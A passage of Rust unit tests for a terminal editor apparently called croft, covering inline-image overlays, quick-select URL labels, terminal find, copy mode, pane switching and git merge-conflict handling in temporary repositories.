    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // The pane owns a REAL shell, and its startup output arrives whenever the
    // machine gets round to it (#326). Every assertion built on this fixture
    // reads the picture's position, so a prompt landing after the bake scrolls
    // the grid out from under it and the test fails for a reason that has
    // nothing to do with what it is testing. Wait for the shell to go quiet
    // first: two consecutive idle reads, so a gap between two bursts is not
    // mistaken for the end of them.
    let mut quiet = 0;
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while quiet < 2 && std::time::Instant::now() < deadline {
        let _ = app.terminals[0].take_dirty();
        std::thread::sleep(std::time::Duration::from_millis(60));
        if app.terminals[0].peek_pending_bytes() == 0 && !app.terminals[0].peek_dirty() {
            quiet += 1;
        } else {
            quiet = 0;
        }
    }
    // The deadline is a failure, not a fallback. Falling through it would hand
    // the caller exactly the unsynchronised fixture this wait exists to
    // prevent, and the resulting flake would look like the picture logic
    // rather than a shell that never settled.
    assert!(
        quiet >= 2,
        "the pane's shell never went quiet within 10s, so the fixture cannot bake against a stable grid"
    );
    let h = app.terminals[0].last_inner.height as usize;
    app.terminals[0].feed_bytes_for_test("\r\n".repeat(h * 2).as_bytes());
    app.terminals[0].push_image_for_test(wide_short_png());
    app.update_terminal_image_overlay();
    assert!(
        app.overlays.terminal_image.has_image(),
        "staging: the picture must have baked"
    );
    (tmp, app)
}

/// Output scrolling under an on-screen inline image moves only the
/// placement row; re-running the full decode + Lanczos resize + PNG encode
/// per scrolled row froze the render thread for the whole pane height on
/// any real photo.
#[test]
fn a_scrolled_inline_image_reuses_its_baked_payload() {
    let (_tmp, mut app) =
        app_with_baked_terminal_image(crate::iterm2_inline::InlineImageProtocol::Kitty);
    let y0 = app.overlays.terminal_image.layout().unwrap().cell_y;
    let bakes = crate::iterm2_inline::FIT_IMAGE_BAKES.with(|c| c.get());
    app.terminals[0].feed_bytes_for_test(b"\r\n\r\n");
    app.update_terminal_image_overlay();
    let l = app.overlays.terminal_image.layout().unwrap();
    assert_eq!(l.cell_y, y0 - 2, "the placement follows the anchor");
    assert_eq!(
        crate::iterm2_inline::FIT_IMAGE_BAKES.with(|c| c.get()),
        bakes,
        "a pure row move must not re-decode the image"
    );
}

/// On iTerm2/Sixel the image blit happens after ratatui draws the frame:
/// with the pane's right-click menu open over the picture, the blit erased
/// the overlapped menu rows. The editor preview already suppresses its
/// image under an open context menu; the terminal overlay must too.
#[test]
fn the_terminal_image_yields_to_an_open_context_menu() {
    let (_tmp, mut app) =
        app_with_baked_terminal_image(crate::iterm2_inline::InlineImageProtocol::ITerm2);
    assert!(app.terminal_image_payload().is_some());
    let l = app.overlays.terminal_image.layout().unwrap().clone();
    // The pane's right-click menu, opened on the picture itself.
    app.context_menu = Some(ContextMenu {
        origin: (l.cell_x, l.cell_y),
        items: vec![
            MenuEntry::Item {
                label: String::from("Rename Terminal"),
                action: MenuAction::RenameTerminal(0),
            },
            MenuEntry::Item {
                label: String::from("Clear"),
                action: MenuAction::ClearTerminal(0),
            },
        ],
        selected: 0,
        open_submenu: None,
        submenu_selected: 0,
        target_dir: PathBuf::new(),
    });
    app.update_terminal_image_overlay();
    assert!(
        app.terminal_image_payload().is_none(),
        "the menu must win over the picture while it is open"
    );
}

/// A wheel notch on the pane BORDER while the child tracks the mouse used
/// to vanish: the report was undeliverable (the border sits outside the
/// inner grid) and the handler had no fall-through, so nothing scrolled —
/// yet the same cell scrolls croft's scrollback fine on a non-tracking
/// pane. An undeliverable report now falls back the same way.
#[test]
fn a_wheel_on_the_pane_border_scrolls_even_when_the_child_tracks_the_mouse() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // Fill scrollback so there is history to scroll into, then have the
    // child enable mouse tracking.
    let mut feed = Vec::new();
    for i in 0..80 {
        feed.extend_from_slice(format!("row-{i}\r\n").as_bytes());
    }
    feed.extend_from_slice(b"\x1b[?1000h");
    app.terminals[0].feed_bytes_for_test(&feed);
    term.draw(|f| app.render(f)).unwrap();
    let area = app.terminals[0].last_area;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollUp,
        column: area.x,
        row: area.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.terminals[0].scroll_display_offset() > 0,
        "the border notch must scroll the scrollback, not vanish"
    );
}

/// In the alternate screen there is no scrollback, so Shift+End must fall
/// through to the program like its comment promises and like Shift+Home /
/// Shift+PageUp/PageDown already do; it used to be swallowed because the
/// bottom-reset arm had no alt-screen guard.
#[test]
fn shift_end_reaches_an_alt_screen_program() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1049h");
    app.handle_terminal_key(key(KeyCode::End, KeyModifiers::SHIFT));
    let expected = key_to_bytes(
        key(KeyCode::End, KeyModifiers::SHIFT),
        app.terminals[0].app_cursor_keys(),
    );
    assert!(!expected.is_empty());
    let written = app.terminals[0].written_bytes_for_test();
    assert!(
        written.ends_with(&expected),
        "Shift+End must be encoded to the program in the alt screen, wrote {written:?}"
    );
}

#[test]
fn a_wrapped_prompt_does_not_push_the_url_off_a_maximized_pane() {
    // The deterministic half of #397's quick-select entry. Its sibling below
    // was measured at 3 failures in 20 runs under load, because a REAL
    // shell's prompt wraps to several rows and the pane had one row of slack;
    // a rate is the best evidence a race allows, and it is not a test. Both
    // now run on a silent pane.
    //
    // This one feeds the prompt itself, so the geometry is the whole claim
    // and the machine has no say. Four rows of it, then the same park,
    // stream and assert. On the unmaximized pane, which is five rows here,
    // this fails on every machine on every run.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The pane's child writes nothing, so the grid holds only the bytes fed
    // below: a real shell's startup prompt landing between them adds rows
    // the geometry does not count (#641).
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "sleep",
        &[String::from("30")],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(80, 24)).unwrap();
    app.toggle_terminal_maximize();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;
    let h = inner.height as usize;
    // The same tripwire the sibling carries. This fixture's own band is
    // wider - it needs eight rows, not sixteen - but a panel that shrank
    // below the sibling's threshold should fail in both, not silently pass
    // here while failing there.
    assert!(
        h >= 16,
        "the maximized panel must leave slack for the wrapped prompt; got {h} rows"
    );

    app.terminals[0].feed_bytes_for_test("\r\n".repeat(h * 2).as_bytes());
    app.terminals[0].feed_bytes_for_test(b"\r\nhttp://drift.io");
    app.open_terminal_quick_select();
    // The prompt arrives AFTER the URL is on screen, which is the race: one
    // that lands before the flood is scrolled away by it and costs nothing.
    // Four rows of it, the shape a hostname-and-path prompt takes when it
    // wraps at this width, and then the stream that scrolls the URL.
    app.terminals[0]
        .feed_bytes_for_test(format!("\r\n{}", "p".repeat(inner.width as usize * 4)).as_bytes());
    app.terminals[0].feed_bytes_for_test(b"\r\nx1\r\nx2\r\nx3");
    term.draw(|f| app.render(f)).unwrap();

    let buf = term.backend().buffer().clone();
    let joined: String = (inner.y..inner.y + inner.height)
        .flat_map(|y| {
            (inner.x..inner.x + inner.width)
                .map(move |x| (x, y))
                .map(|(x, y)| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
        })
        .collect();
    // The label clause is what makes `open_terminal_quick_select` above
    // load-bearing: without it the bare URL satisfies this assertion just as
    // well as a labelled one, and deleting the call left the test green.
    assert!(
        joined.contains("ttp://drift.io") && !joined.contains("http://drift.io"),
        "a four-row prompt must not cost the URL its place on screen, and a \
         label must still cover its first cell: {joined:?}"
    );
}

/// Quick-select labels ride the scroll clock like every other overlay:
/// output streaming under an open label set used to leave the gold labels
/// at fixed viewport rows while their matches scrolled away, so the user
/// typed the label next to one thing and copied another.
#[test]
fn quick_select_labels_follow_content_that_streams_below_them() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A SILENT pane (#397). The row slack below was this test's first fix,
    // and it held until a full-suite run captured the pane holding ONLY the
    // shell's wrapped prompt and the trailing x1 x2 x3, the URL gone: the
    // shell's prompt repaint after the maximize's SIGWINCH landed between
    // the feeds and rewrote the rows the URL sat on. Slack absorbs a prompt
    // that appends; it cannot absorb one that repaints. A child that prints
    // nothing removes the writer entirely, and the subject here -- croft's
    // label overlay following content the pane streams -- needs a grid, not
    // a shell. The slack assertion stays: the scroll this test drives still
    // needs the rows.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 30")],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(80, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    // The panel over the editor, so the pane has ROWS. Unmaximized it is a
    // few rows tall here, and this test parks its URL four rows from the
    // bottom. When the pane still ran the workspace shell that was almost
    // no slack against a wrapped prompt (this test's first entry in #397,
    // 3 failures in 20 runs under load); with a silent child the rows are
    // simply what the scroll below needs, and the maximize is how it gets
    // them.
    app.toggle_terminal_maximize();
    term.draw(|f| app.render(f)).unwrap();
    // Park the cursor at the pane bottom so every further row SCROLLS.
    let h = app.terminals[0].last_inner.height as usize;
    // The precondition this fix IS, checked in the same run as the claim it
    // supports: if a future panel change shrank the pane back toward five
    // rows, the test would quietly return to flaking instead of failing.
    assert!(
        h >= 16,
        "the maximized panel must leave rows for the scroll this test drives; got {h} rows"
    );
    app.terminals[0].feed_bytes_for_test("\r\n".repeat(h * 2).as_bytes());
    // One atomic feed, opening with its own newline, so "\r\n" + URL lands
    // under one grid lock with the URL at column 0. #62 saw the match wrap
    // the pane edge when another writer got between two feeds; the pane is
    // silent now, and the shape is kept because it is the one that cannot
    // wrap whatever else is on screen.
    app.terminals[0].feed_bytes_for_test(b"\r\nhttp://drift.io");
    app.open_terminal_quick_select();
    // The URL by name, not `is_some()`: quick select stages every match on
    // screen, and naming the one this test planted keeps the assertion
    // about it rather than about whatever else happens to match.
    assert!(
        app.terminal_quick_select
            .as_ref()
            .is_some_and(|s| s.hints.iter().any(|h| h.text.contains("drift.io"))),
        "staging: the URL is hinted"
    );
    app.terminals[0].feed_bytes_for_test(b"\r\nx1\r\nx2\r\nx3");
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    // Join the pane's inner rows into one stream before searching, so pane
    // geometry can't split the needle across a row boundary (#62), and
    // don't pin WHICH gold label the URL drew: label assignment is
    // bottom-priority over every match on screen, and the letter is not the
    // claim. The invariant is that SOME label still covers the URL's first
    // cell after the scroll — the 'h' is overlaid, the rest is intact.
    let inner = app.terminals[0].last_inner;
    let joined: String = (inner.y..inner.y + inner.height)
        .flat_map(|y| {
            (inner.x..inner.x + inner.width)
                .map(move |x| (x, y))
                .map(|(x, y)| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
        })
        .collect();
    assert!(
        joined.contains("ttp://drift.io") && !joined.contains("http://drift.io"),
        "a label must still overlay the URL's first cell after the content\n\
         scrolled (the 'h' covered, the tail intact); pane text: {joined:?}"
    );
}

/// The #64 defect end-to-end: a URL wrapping the pane edge was invisible as
/// a URL — the scanner saw display rows independently, so the head fragment
/// matched nothing and the tail was labelled as a filesystem path, and
/// typing the label copied `/drift.io` instead of what the user sees.
/// Stitched scanning must stage the WHOLE URL, anchored on its head.
#[test]
fn quick_select_sees_a_match_that_wraps_the_pane_edge_whole() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(80, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // One atomic feed (#62): its own newline pins the pad to column 0, the
    // pad parks the URL six cells before the pane edge, so "http:/" fills
    // the row (setting WRAPLINE) and "/drift.io" continues on the next.
    let w = app.terminals[0].last_inner.width as usize;
    let mut chunk = String::from("\r\n");
    chunk.push_str(&"x".repeat(w - 6));
    chunk.push_str("http://drift.io");
    app.terminals[0].feed_bytes_for_test(chunk.as_bytes());
    app.open_terminal_quick_select();
    let state = app
        .terminal_quick_select
        .as_ref()
        .expect("staging: the pane holds at least the wrapped URL");
    // `starts_with`, not equality: the live child shell's prompt can land
    // right after the fed chunk, gluing itself onto the URL's tail within
    // the same logical line — the head is the invariant.
    let url = state
        .hints
        .iter()
        .find(|h| h.text.starts_with("http://drift.io"))
        .unwrap_or_else(|| {
            panic!(
                "the wrapped URL must be staged whole; hints were: {:?}",
                state
                    .hints
                    .iter()
                    .map(|h| (h.line, h.start, h.text.as_str()))
                    .collect::<Vec<_>>()
            )
        });
    assert_eq!(
        url.start,
        w - 6,
        "the label anchors on the URL's first cell, not the wrap row"
    );
    assert!(
        !url.tail.is_empty(),
        "the continuation row rides along as a tail segment"
    );
    assert!(
        !state.hints.iter().any(|h| h.text == "/drift.io"),
        "the wrapped tail must not be labelled as a path fragment; hints: {:?}",
        state
            .hints
            .iter()
            .map(|h| h.text.as_str())
            .collect::<Vec<_>>()
    );
    // Committing the URL's label copies the whole URL, not the fragment.
    let label = url.label.clone();
    for c in label.chars() {
        app.handle_terminal_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    assert!(
        app.terminal_quick_select.is_none(),
        "committing a label must close quick-select"
    );
    assert!(
        app.status.contains("Copied"),
        "commit must report the copy, status was: {}",
        app.status
    );
}

/// Quick-select is bound to the pane it opened on, exactly like copy mode:
/// after a pane switch its labels must close, never be pushed onto (or
/// pasted into) the newly active pane at the old pane's coordinates.
#[test]
fn quick_select_closes_instead_of_hijacking_another_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    // Three URLs per row across ten rows: >26 matches forces two-char
    // labels, so the first typed char takes the PUSH path (a live re-push
    // of the hint set) rather than committing and closing.
    let mut feed = Vec::new();
    for i in 0..10 {
        feed.extend_from_slice(
            format!("\r\nhttp://a{i}.io http://b{i}.io http://c{i}.io").as_bytes(),
        );
    }
    feed.extend_from_slice(b"\r\n");
    app.terminals[0].feed_bytes_for_test(&feed);
    app.open_terminal_quick_select();
    let st = app.terminal_quick_select.as_ref().expect("staging: hints");
    assert!(st.hints.len() > 26, "staging: two-char labels required");
    // A label PREFIX char (the first char of some two-char label).
    let prefix = st
        .hints
        .iter()
        .find(|h| h.label.len() == 2)
        .expect("staging: a two-char label")
        .label
        .chars()
        .next()
        .unwrap();
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sleep",
            &[String::from("30")],
            tmp.path(),
        )
        .unwrap(),
    );
    app.active_terminal = 1;
    app.handle_terminal_quick_select_key(key(KeyCode::Char(prefix), KeyModifiers::NONE));
    assert!(
        app.terminal_quick_select.is_none(),
        "a pane switch closes quick select instead of hijacking the new pane"
    );
    assert!(
        !app.terminals[1].has_hints_for_test(),
        "the sibling pane must not inherit the old pane's hint labels"
    );
}

/// The find anchor rides the scroll clock like every other line-anchored
/// overlay: output streaming while the bar is open used to leave the
/// stored match line pointing N rows below its text, so the next
/// Enter/Shift+Enter walked from a phantom position — re-finding the same
/// occurrence or skipping others — and the bright active highlight
/// detached from its row.
#[test]
fn terminal_find_navigation_survives_streaming_output() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    // Fill the screen first so later output rotates rows into scrollback
    // (line indices only drift once the grid is full).
    let mut feed = Vec::new();
    for i in 0..40 {
        feed.extend_from_slice(format!("pad-{i}\r\n").as_bytes());
    }
    feed.extend_from_slice(b"match-one\r\nmatch-two\r\nmatch-three\r\n");
    app.terminals[0].feed_bytes_for_test(&feed);
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::SUPER));
    for c in "match".chars() {
        app.handle_terminal_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    let anchored_line = |app: &App| -> String {
        let (lines, top, now) = app.terminals[0].grid_lines_and_clock();
        let (clock, abs, _c, _l) = app.terminal_find_match.expect("an anchored match");
        let abs = abs - (now - clock) as i32;
        let row = (abs - top).clamp(0, lines.len() as i32 - 1) as usize;
        lines[row].clone()
    };
    assert!(
        anchored_line(&app).contains("match-three"),
        "staging: the first anchor is the bottom-most occurrence"
    );
    // Output streams while the bar is open: every stored line drifts.
    app.terminals[0].feed_bytes_for_test(b"filler\r\nfiller\r\nfiller\r\nfiller\r\nfiller\r\n");
    app.handle_terminal_key(key(KeyCode::Enter, KeyModifiers::SHIFT));
    assert!(
        anchored_line(&app).contains("match-two"),
        "prev from the drifted anchor must land on the occurrence above it, got {:?}",
        anchored_line(&app)
    );
}

/// Clearing a pane invalidates find's whole world: the anchored match
/// names content that no longer exists (and the clear can kill the scroll
/// clock's tracer), so the anchor and active highlight must drop and the
/// match count must honestly read zero instead of navigation walking from
/// a phantom position over the emptied grid.
#[test]
fn clearing_a_pane_resets_its_find_anchor_and_count() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.terminals[0].feed_bytes_for_test(b"\r\nmatch-a\r\nmatch-b\r\n");
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::SUPER));
    for c in "match".chars() {
        app.handle_terminal_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    assert!(
        app.terminal_find_match.is_some(),
        "staging: an anchored match exists"
    );
    assert!(
        app.terminal_find.as_ref().unwrap().match_count > 0,
        "staging: matches counted"
    );
    app.clear_terminal_at(0);
    assert!(
        app.terminal_find_match.is_none(),
        "the cleared grid must drop the stale anchor"
    );
    assert_eq!(
        app.terminal_find.as_ref().unwrap().match_count,
        0,
        "the match count must reflect the emptied grid"
    );
}

/// Terminal find is bound to the pane it opened on: a gesture that
/// activates a sibling pane must close it AND clear the highlight on the
/// pane that owned it. Closing against the newly active pane instead left
/// the owning pane's needle painted for the rest of the session and
/// applied the stored jump anchor to the wrong pane's grid.
#[test]
fn terminal_find_closes_instead_of_straying_to_another_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.terminals[0].feed_bytes_for_test(b"\r\nerror one\r\nerror two\r\n");
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::SUPER));
    app.handle_terminal_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    assert!(
        app.terminals[0].has_search_for_test(),
        "staging: the owning pane is highlighted"
    );
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sleep",
            &[String::from("30")],
            tmp.path(),
        )
        .unwrap(),
    );
    app.active_terminal = 1;
    app.sync_focus_flags();
    assert!(
        app.terminal_find.is_none(),
        "a pane switch closes find instead of retargeting the new pane"
    );
    assert!(
        !app.terminals[0].has_search_for_test(),
        "the owning pane's highlight must be cleared on close"
    );
}

/// Copy mode is bound to the pane it opened on: a gesture that activates a
/// sibling pane closes the mode (tmux-style) instead of folding the other
/// pane's independent scroll clock into the stored coordinates and
/// painting a garbage selection there.
#[test]
fn copy_mode_closes_instead_of_hijacking_another_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.open_terminal_copy_mode();
    assert!(app.terminal_copy_mode.is_some());
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sleep",
            &[String::from("30")],
            tmp.path(),
        )
        .unwrap(),
    );
    app.active_terminal = 1;
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('j'), KeyModifiers::NONE));
    assert!(
        app.terminal_copy_mode.is_none(),
        "a pane switch closes copy mode instead of hijacking the new pane"
    );
    assert!(
        app.terminals[1].selection().is_none(),
        "the sibling pane must not inherit a painted selection"
    );
}

/// #37: a failed external reload was silently discarded — the sweep tried,
/// the re-read died (file replaced by a directory), and nothing said so.
/// The tab keeps its last good view and the status line reports it.
#[test]
fn a_failed_external_reload_reports_in_the_status_line() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("f.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    std::fs::remove_file(&f).unwrap();
    std::fs::create_dir(&f).unwrap();
    assert!(
        app.reload_open_file_after_external_change(),
        "a failed reload is redraw-worthy, not an empty sweep"
    );
    assert!(
        app.status.contains("Reload failed"),
        "the status line must name the failure; got: {}",
        app.status
    );
    assert_eq!(
        app.editor.lines[0], "one",
        "the last good buffer survives the failed reload"
    );
}

#[test]
fn clicking_a_commit_graph_row_opens_the_commit_patch_tab() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "one\n").unwrap();
    let git = |args: &[&str]| {
        std::process::Command::new("git")
            .arg("-C")
            .arg(tmp.path())
            .args(args)
            .env("GIT_AUTHOR_NAME", "t")
            .env("GIT_AUTHOR_EMAIL", "t@t")
            .env("GIT_COMMITTER_NAME", "t")
            .env("GIT_COMMITTER_EMAIL", "t@t")
            .output()
            .unwrap()
    };
    git(&["init", "-q"]);
    git(&["add", "-A"]);
    git(&["commit", "-qm", "first commit"]);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The arming step of #103: render the DEFAULT Explorer sidebar once so
    // its bottom sections (OPEN EDITORS / TIMELINE / DEPENDENCIES) record
    // their hit rects — real sessions always do this before the user ever
    // reaches Source Control. Stale copies of those rects must not shadow
    // the COMMITS strip that paints in the same rows afterwards.
    {
        let backend = ratatui::backend::TestBackend::new(140, 44);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
    }
    app.set_sidebar_view(SidebarView::SourceControl);
    // Let the git worker deliver status + graph, then render so every
    // sidebar rect (including the COMMITS strip) records its hit area.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
    let mut graph_rect = Rect::default();
    let mut row = 0u16;
    let mut ready = false;
    while std::time::Instant::now() < deadline {
        let _ = app.drain_git_responses();
        let _ = app.sync_explorer_panels();
        let backend = ratatui::backend::TestBackend::new(140, 44);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        graph_rect = app.commit_graph.last_area;
        // Border row, then the section header, then the first commit row.
        row = graph_rect.y + 2;
        if graph_rect.height > 1 && app.commit_graph.commit_at(row).is_some() {
            ready = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    assert!(
        ready,
        "precondition: the COMMITS graph must render with a clickable row; rect {graph_rect:?}, \
         inflight {:?}, probes {:?}",
        app.graph_fetch_inflight,
        (40u16..44)
            .map(|y| app.commit_graph.commit_at(y).map(|c| c.short_hash.clone()))
            .collect::<Vec<_>>()
    );
    let col = graph_rect.x + 6;
    let short = app
        .commit_graph
        .commit_at(row)
        .map(|c| c.short_hash.clone())
        .expect("precondition established a commit at the click row");
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    // The patch is read off the UI thread.
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the commit patch",
        || {
            app.drain_git_view();
            app.git_view_job.is_none()
        },
    );
    assert!(
        app.status.contains("Opened commit"),
        "clicking a commit row must open its patch tab; status: {:?}",
        app.status
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(Path::new(&format!("commit {short}"))),
        "the active tab must be the clicked commit's patch"
    );
    let body = app.editor.lines.join("\n");
    assert!(
        body.contains("first commit") && body.contains("diff --git"),
        "the patch tab must carry the commit message and its diff"
    );
}

#[test]
fn status_elision_never_fires_on_a_message_that_fits() {
    let tmp = tempfile::tempdir().unwrap();
    // A git repo puts the branch segment in the bar, like any real session.
    let git = |args: &[&str]| {
        std::process::Command::new("git")
            .arg("-C")
            .arg(tmp.path())
            .args(args)
            .env("GIT_AUTHOR_NAME", "t")
            .env("GIT_AUTHOR_EMAIL", "t@t")
            .env("GIT_COMMITTER_NAME", "t")
            .env("GIT_COMMITTER_EMAIL", "t@t")
            .output()
            .unwrap()
    };
    git(&["init", "-q", "-b", "main"]);
    std::fs::write(tmp.path().join("a.txt"), "x\n").unwrap();
    git(&["add", "-A"]);
    git(&["commit", "-qm", "init"]);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
    while std::time::Instant::now() < deadline {
        let _ = app.drain_git_responses();
        if app.git.status().branch.is_some() {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    app.status = String::from("Quick select: type a label to copy, UPPERCASE pastes, Esc cancels");
    // 153 cols: prefix (with the branch segment and zone dividers) + message
    // + right cluster (with its │ seams) total 152, so the message fits and
    // must paint verbatim — elision may only fire when the arithmetic says
    // the message truly cannot fit.
    let backend = ratatui::backend::TestBackend::new(153, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let last_row: String = (a.x..a.x + a.width)
        .map(|x| buf[(x, a.y + a.height - 1)].symbol().to_string())
        .collect();
    // The WHOLE message must be present: middle-elision keeps both ends, so a
    // substring from one end would pass even after a regression elided the
    // other.
    assert!(
        last_row.contains(app.status.as_str()),
        "a transient that fits beside the right cluster must paint verbatim, \
         not elide; the bar showed: {last_row:?}"
    );
}

#[test]
fn create_prompt_labels_speak_workspace_relative() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("src")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_create_prompt(CreateKind::File, tmp.path().join("src"));
    let label = app.prompt.as_ref().unwrap().label.clone();
    assert_eq!(
        label, "New File in src",
        "the prompt title's one job is naming the target directory; a deep \
         absolute workspace path truncates it out of the popup (#105)"
    );
    app.prompt = None;
    app.open_create_prompt(CreateKind::Folder, tmp.path().to_path_buf());
    let label = app.prompt.as_ref().unwrap().label.clone();
    assert_eq!(
        label, "New Folder in .",
        "the workspace root itself reads as '.'"
    );
}

/// A repo with a real merge conflict in `shared.txt` (two blocks) produced
/// by an actual `git merge`, plus a clean second file.
fn conflicted_repo(tmp: &std::path::Path) {
    let git = |args: &[&str]| {
        std::process::Command::new("git")
            .arg("-C")
            .arg(tmp)
            .args(args)
            .env("GIT_AUTHOR_NAME", "t")
            .env("GIT_AUTHOR_EMAIL", "t@t")
            .env("GIT_COMMITTER_NAME", "t")
            .env("GIT_COMMITTER_EMAIL", "t@t")
            .output()
            .unwrap()
    };
    git(&["init", "-q", "-b", "main"]);
    std::fs::write(
        tmp.join("shared.txt"),
        "alpha\nbase-one\nm1\nm2\nm3\nm4\nm5\nbase-two\nomega\n",
    )
    .unwrap();
    std::fs::write(tmp.join("clean.txt"), "untouched\n").unwrap();
    git(&["add", "-A"]);
    git(&["commit", "-qm", "base"]);
    git(&["checkout", "-q", "-b", "feature"]);
    std::fs::write(
        tmp.join("shared.txt"),
        "alpha\nfeature-one\nm1\nm2\nm3\nm4\nm5\nfeature-two\nomega\n",
    )
    .unwrap();
    git(&["commit", "-aqm", "feature edit"]);
    git(&["checkout", "-q", "main"]);
    std::fs::write(
        tmp.join("shared.txt"),
        "alpha\nmain-one\nm1\nm2\nm3\nm4\nm5\nmain-two\nomega\n",
    )
    .unwrap();
    git(&["commit", "-aqm", "main edit"]);
    let merge = git(&["merge", "feature"]);
    assert!(
        !merge.status.success(),
        "the merge must conflict for these tests"
    );
}

/// Wait for the git worker to deliver entries, then return the index of the
/// conflicted `shared.txt` entry in the Source Control panel.
/// Wait for the git worker - which spawns a real `git` per query - to report
/// the conflicted entry, and return its index.
///
/// The budget is load-scaled (#307). This helper is where
/// `accept_all_incoming_then_complete_merge_stages_the_resolved_file` was
/// actually failing under load: the untimed `git status --porcelain` at the
/// end of that test cannot time out at all, so the fixed 5s deadline here was
/// the only clock in the test, which puts it in the same family as the other
/// three rather than in a category of its own.
fn wait_for_conflicted_entry(app: &mut App) -> usize {
    app.set_sidebar_view(SidebarView::SourceControl);
    let mut found = None;
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(1000),
        "the git worker to report the conflicted entry",
        || {
            let _ = app.drain_git_responses();
            found = app
                .source_control
                .entries
                .iter()
                .position(|e| e.kind == crate::git::ChangeKind::Conflicted);
            found.is_some()
        },
    );
    found.expect("await_spawned returns only once the entry is present")
}

#[test]
fn scm_click_on_a_conflicted_entry_opens_the_merge_editor_on_the_stages() {
    let tmp = tempfile::tempdir().unwrap();
    conflicted_repo(tmp.path());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = wait_for_conflicted_entry(&mut app);
    app.open_source_control_entry(idx);
    assert_eq!(
        app.editor.path.as_deref().map(|p| p.file_name().unwrap()),
        Some(std::ffi::OsStr::new("shared.txt")),
        "the conflicted file must open"
    );
    let mv = app.editor.merge.as_ref().expect("the merge editor is up");
    assert!(!mv.from_markers, "git stages, not marker synthesis");
